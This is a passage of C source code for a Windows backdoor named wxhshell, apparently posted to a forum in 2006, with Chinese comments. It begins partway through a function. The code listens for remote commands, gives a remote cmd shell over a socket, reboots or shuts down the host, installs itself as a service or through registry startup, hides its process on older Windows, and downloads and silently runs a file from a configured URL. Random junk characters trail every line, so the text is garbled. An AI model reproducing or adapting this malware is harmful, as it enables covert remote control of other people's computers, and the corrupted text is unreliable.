      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QMWDII&t  
    break; 4A~1Z,"%v(  
  } DH{^9HK  
  // 安装 ycSC'R  
  case 'i': { g/e2t=qP  
    if(Install()) ]='zY3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D eM/B5qw  
    else %Ig3udcY?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IO]%AL(.;  
    break; +OX:T) 4h6  
    } z!:%Hbh=  
  // 卸载 L{AfrgN  
  case 'r': { _';oT*#  
    if(Uninstall()) ,e5#wz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _|vY)4B 4U  
    else <gbm 1iEe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YgW 50)q^  
    break; 9w( Wtw'  
    } 3YOYlb %j  
  // 显示 wxhshell 所在路径 s^ R i g[  
  case 'p': { +*ZF52hy|  
    char svExeFile[MAX_PATH]; 6-h(305A  
    strcpy(svExeFile,"\n\r"); +{pS2I}d  
      strcat(svExeFile,ExeFile); A1V^Gi@i  
        send(wsh,svExeFile,strlen(svExeFile),0); {S5H H"  
    break; `KUl XS(  
    } 1|/]bffg!c  
  // 重启 iF'qaqHWY4  
  case 'b': { !1cVg ls|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "kg;fF|  
    if(Boot(REBOOT)) Tg|/UUn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yl0_?.1 z  
    else { b1ma(8{{{  
    closesocket(wsh); 3"y,Ut KGa  
    ExitThread(0); Ht=h9}x"g  
    } }D\i1/Y  
    break; ~_Q1+ax}  
    } aX{i   
  // 关机 g6~B|?!  
  case 'd': { 'n4$dv% q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X4Y!Z/b  
    if(Boot(SHUTDOWN)) T?V!%AqY:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v[I,N$ :  
    else { $`Hb -  
    closesocket(wsh); Fl0 :Z  
    ExitThread(0); T+U,?2nF:  
    } >,)tRQS  
    break; N=@Nn)  
    } 97SOa.@  
  // 获取shell z*B-`i.  
  case 's': { F>/"If#  
    CmdShell(wsh); iW,fKXuo&y  
    closesocket(wsh); qrZ*r{3  
    ExitThread(0); >* >}d%  
    break; RDWUy (iX  
  } ]'!$T72  
  // 退出 1O@ D  
  case 'x': { 6A,-?W'\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sbV {RSl  
    CloseIt(wsh); 5T- N\)@  
    break; P{gy/'PH,  
    } C3>`e3v  
  // 离开 =#|K-X0d=  
  case 'q': { ~s4o1^6L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :#&Y  
    closesocket(wsh); ;>Q.r{P  
    WSACleanup(); &D*22R4{CX  
    exit(1); %1^E;n  
    break; ;;? Zd  
        } .*W_;Fo  
  } S @[B?sNj  
  } 6 r}R%{  
\4 5%K|  
  // 提示信息 0G}]d17ho  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )CM3v L {  
} ?KMGk]_<  
  } 1sN >U<  
_q<Ke/  
  return; 1'Y7h;\~\  
} QdtGFY4f,  
GB\1'  
// shell模块句柄 h#Q Sx@U6  
int CmdShell(SOCKET sock) >hsvRX\_ `  
{ yhJA{nL=  
STARTUPINFO si; QssU\@ / Q  
ZeroMemory(&si,sizeof(si)); q6a7o=BP]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D +Ui1h-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w:+wx/\  
PROCESS_INFORMATION ProcessInfo; Ti!<{>  
char cmdline[]="cmd"; g6p:1;Evf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n 0rAOkW  
  return 0; '&42E[0P  
} K! I]0!:  
`D~wY^q{  
// 自身启动模式  "yA=Tw  
int StartFromService(void) I@jXW>$  
{ ,wPvv(b]a  
typedef struct ZtPnHs.x  
{ .Qz412  
  DWORD ExitStatus; Wd<|DmSy  
  DWORD PebBaseAddress; 5,Hj$v7fe  
  DWORD AffinityMask; >IFqwh7b  
  DWORD BasePriority; :7Jpt3  
  ULONG UniqueProcessId; D,sb {N  
  ULONG InheritedFromUniqueProcessId; k^C^.[?  
}   PROCESS_BASIC_INFORMATION; VS ?npH  
z(g6$Y{  
PROCNTQSIP NtQueryInformationProcess; ~H1 ZQ[  
MR`lF-|a|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5%1a!M M M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "B3&v%b  
\~~y1.,U.  
  HANDLE             hProcess; sm9/sX!  
  PROCESS_BASIC_INFORMATION pbi; Bt[Wh@  
lJIcU RI4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !Pf6UNN'  
  if(NULL == hInst ) return 0; tTcff9ee  
vn5O8sD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); odaCKhdk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L2<IG)oXU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @4xV3Xkf&C  
&&$,BFY4  
  if (!NtQueryInformationProcess) return 0; TcKt   
PqVz ^(Wz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N6UPD11}6  
  if(!hProcess) return 0; ` 5lW  
@:%p#$V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y~"5HP|  
c[<>e#s+;  
  CloseHandle(hProcess); 8o%g2 P9.  
rGIf/=G^r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $z48~nu@ j  
if(hProcess==NULL) return 0; lGZf_X)gA^  
V(c>1xLlz  
HMODULE hMod; =%Z5"];  
char procName[255]; A\:u5(  
unsigned long cbNeeded; |zCT~#  
4157!w'\y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U *K6FWqiB  
VAnP3:  
  CloseHandle(hProcess); -~=?g9fGm6  
(T 8In  
if(strstr(procName,"services")) return 1; // 以服务启动 _-c1" Kl  
}|u>b!7_.  
  return 0; // 注册表启动 vp|'Yy(9z  
} h#JX$9  
67D{^K"KT  
// 主模块 Ahf71YP  
int StartWxhshell(LPSTR lpCmdLine) >_'0 s  
{ I3,0vnE@  
  SOCKET wsl; rm?C_  
BOOL val=TRUE; UVlh7wjg  
  int port=0; %yPjPUHy  
  struct sockaddr_in door; k;V (rf`  
)1, U~+JFU  
  if(wscfg.ws_autoins) Install(); WNo7`)Kx  
R8bKE(*rxj  
port=atoi(lpCmdLine); 0i3Z7l]  
{baG2Fe1`b  
if(port<=0) port=wscfg.ws_port; X`Jo XNqm  
j{&$_  
  WSADATA data; f~t5[D(\Q,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; me  ,lE-  
KEfwsNSc%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p G(Fw>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W87kE?,  
  door.sin_family = AF_INET; 4H*M^?h\#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h-+vN hH  
  door.sin_port = htons(port); ?d' vIpzO!  
U+-R2w]#q_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7#+>1 "\  
closesocket(wsl); 0T2^$^g  
return 1; K3xt,g  
} w:nLm,  
FxdWJ|rN9D  
  if(listen(wsl,2) == INVALID_SOCKET) { /1h ${mo~  
closesocket(wsl); d.xT8l}sS  
return 1; Y. Uca<{.[  
} @p%WFNR0  
  Wxhshell(wsl); 4Is Wp!`W  
  WSACleanup(); 9}A\Bh tiM  
l8H8c &  
return 0; +%=lu14G  
M REB  
} >UnLq:G  
]O&\Pn0q  
// 以NT服务方式启动 3Pgld*i7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^y.|KA3[  
{ !S#K6:  
DWORD   status = 0; L};P*{q2Z  
  DWORD   specificError = 0xfffffff; 3g87ir  
a[=;6!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }fZ~HqS2w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P!u0_6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A_g\Fa[jG  
  serviceStatus.dwWin32ExitCode     = 0; lS{ ^*(a  
  serviceStatus.dwServiceSpecificExitCode = 0; %:N;+1  
  serviceStatus.dwCheckPoint       = 0; wnjAiIE5  
  serviceStatus.dwWaitHint       = 0; G#YBfPmr  
oS^g "hQ`\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GJIZu&C  
  if (hServiceStatusHandle==0) return; 7G=Q9^J.H  
ijACfl{!:t  
status = GetLastError(); +:3s f%0  
  if (status!=NO_ERROR) =wznkqyhi  
{ !CUM*<iV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xV"~?vD  
    serviceStatus.dwCheckPoint       = 0; 8lFYk`|g  
    serviceStatus.dwWaitHint       = 0; 3w}ul~>j  
    serviceStatus.dwWin32ExitCode     = status; G * =>  
    serviceStatus.dwServiceSpecificExitCode = specificError; nm,(Wdr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :u`gjj$:s  
    return; ^VsE2CX  
  } WDJ rN  
/BwG\GhM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1h3`y  
  serviceStatus.dwCheckPoint       = 0; 0-:dzf  
  serviceStatus.dwWaitHint       = 0; %^l&:\ hy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R>hL.+l.  
} k>F>y|m  
\3T[Cy|5|  
// 处理NT服务事件,比如:启动、停止 M^{=&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n(#[[k9&Ic  
{ 49=L9:  
switch(fdwControl) Nz>xilU'  
{ vLpIVNA]]Y  
case SERVICE_CONTROL_STOP: |]eWO#vs  
  serviceStatus.dwWin32ExitCode = 0; >{[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  Y-+JDrK  
  serviceStatus.dwCheckPoint   = 0; !NMiWG4R  
  serviceStatus.dwWaitHint     = 0; \$!D^%~;  
  { DD}YbuO7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WsW]  1p  
  } U#`2~Qv/1  
  return; "~q~)T1Z  
case SERVICE_CONTROL_PAUSE: 5!BW!-q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U~w8yMxX  
  break; e4FR)d0x  
case SERVICE_CONTROL_CONTINUE: r-No\u_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  S8O,{  
  break; C=t9P#g*.  
case SERVICE_CONTROL_INTERROGATE: O*yA50Cn  
  break; 0|ekwTx.  
}; j!"5, ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~9#'s'  
} q4g)/x%nc  
Y*sw;2Z;a  
// 标准应用程序主函数 u7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :Sn4Pg `Q  
{ OVGB7CB]S  
.:O($9^Ho  
// 获取操作系统版本 :r7!HG _  
OsIsNt=GetOsVer(); SPm2I(at7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <j1r6.E)  
"JE->iD  
  // 从命令行安装 %~[@5<p  
  if(strpbrk(lpCmdLine,"iI")) Install(); h)^|VM   
zU'7x U-  
  // 下载执行文件 Y]!&, e,  
if(wscfg.ws_downexe) { +Jm[IN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pTT00`R  
  WinExec(wscfg.ws_filenam,SW_HIDE); N~P1^x~  
} :q~5Xw/  
VAA="yN  
if(!OsIsNt) { <fHN^O0TS  
// 如果时win9x,隐藏进程并且设置为注册表启动 LtPaTe  
HideProc(); Hc-up.?v'v  
StartWxhshell(lpCmdLine); *y', eB  
} $,0EV9+af  
else $xis4/2  
  if(StartFromService()) E=91k.  
  // 以服务方式启动 \Nk578+AA  
  StartServiceCtrlDispatcher(DispatchTable); sQ+s3x1y  
else 0"Zxbgu)  
  // 普通方式启动 "\u<\CL  
  StartWxhshell(lpCmdLine); Y@7n>U  
q2s=>J';  
return 0; YF>1 5{H  
}
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只看该作者 1 发表于: 2006-10-10
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